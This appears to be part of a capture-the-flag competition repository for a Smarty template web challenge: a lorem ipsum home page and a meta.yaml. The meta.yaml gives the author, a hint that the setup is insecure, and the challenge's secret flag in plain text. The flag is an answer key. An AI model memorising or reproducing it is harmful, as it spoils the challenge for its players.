-------------------------------------------------------------------------------- /web/untitled-smarty-challenge/challenge/pages/home: -------------------------------------------------------------------------------- 1 | Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Nullam ac tortor vitae purus faucibus ornare suspendisse sed. Eu tincidunt tortor aliquam nulla facilisi cras fermentum odio eu. Nulla aliquet porttitor lacus luctus accumsan. Ante in nibh mauris cursus mattis. Ullamcorper a lacus vestibulum sed arcu non odio euismod lacinia. Lectus proin nibh nisl condimentum id venenatis a condimentum. Fringilla est ullamcorper eget nulla facilisi. Volutpat ac tincidunt vitae semper quis lectus. Risus viverra adipiscing at in tellus. Commodo ullamcorper a lacus vestibulum sed arcu. Dictum at tempor commodo ullamcorper. Sit amet massa vitae tortor condimentum lacinia. Vitae ultricies leo integer malesuada nunc vel risus commodo viverra. Cras adipiscing enim eu turpis egestas. Vitae justo eget magna fermentum iaculis eu non. Orci a scelerisque purus semper eget duis at. Elit at imperdiet dui accumsan sit amet nulla facilisi morbi. Odio ut sem nulla pharetra. Scelerisque eleifend donec pretium vulputate. 2 | -------------------------------------------------------------------------------- /web/untitled-smarty-challenge/meta.yaml: -------------------------------------------------------------------------------- 1 | name: untitled-smarty-challenge 2 | author: downgrade 3 | public: true 4 | flag: idek{trixter_got_a_cve_while_playtesting_this_challenge_9268d0} 5 | description: We're using Smarty 5, with open_basedir, AND don't even pass user input directly into a template, surely this isn't insecure. Oh wait... 6 | instancer: true 7 | instancer_id: smarty-challenge --------------------------------------------------------------------------------